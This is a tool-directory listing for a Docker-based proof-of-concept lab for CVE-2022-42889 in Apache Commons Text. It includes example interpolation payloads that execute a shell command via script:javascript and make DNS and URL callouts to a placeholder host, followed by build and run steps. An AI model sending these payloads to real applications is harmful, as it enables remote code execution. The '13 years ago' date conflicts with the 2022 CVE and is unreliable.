Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-42889 — docker for CVE-2022-42889 | Kitploit
Tools/GitHubGitHub/necroteddy/cve-2022-42889
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubnecroteddy/cve-2022-42889

CVE-2022-42889

docker for CVE-2022-42889

View Repository
13 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-42889-POC

A simple demo application that shows how to exploit the CVE-2022-42889 vulnerability.
Utilizes OOB (Out of Band) services to demonstrate dns and url prefixes.

JavaDocs for commons-text interpolation commons-text JavaDocs

Example interpolations

  • script:javascript ("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/blop')}")
  • dns ("${dns:address|HOST}")
  • url ("${url:UTF-8:http://HOST")

Quote from Rapid7

The vulnerability has been compared to Log4Shell since it is an open-source library-level vulnerability that is likely to impact a wide variety of software applications that use the relevant object.
However, initial analysis indicates that this is a bad comparison. The nature of the vulnerability means that unlike Log4Shell, it will be rare that an application uses the vulnerable component of Commons Text to process untrusted, potentially malicious input.

Prerequisites

  • docker
  • java
  • maven

Java and maven can be skipped if one fetch image from Docker Hub

Usage

Build application

root@kitploit:~
mvn clean package

Build docker image

root@kitploit:~
docker build -t cve-2022-42889-poc .

Run docker image

root@kitploit:~
docker run --rm -p 8081:8081 -t cve-2022-42889-poc
Download Tool

Access application and follow instructions

root@kitploit:~
open http://localhost:8081

More information

  • NIST NVD
  • Rapid 7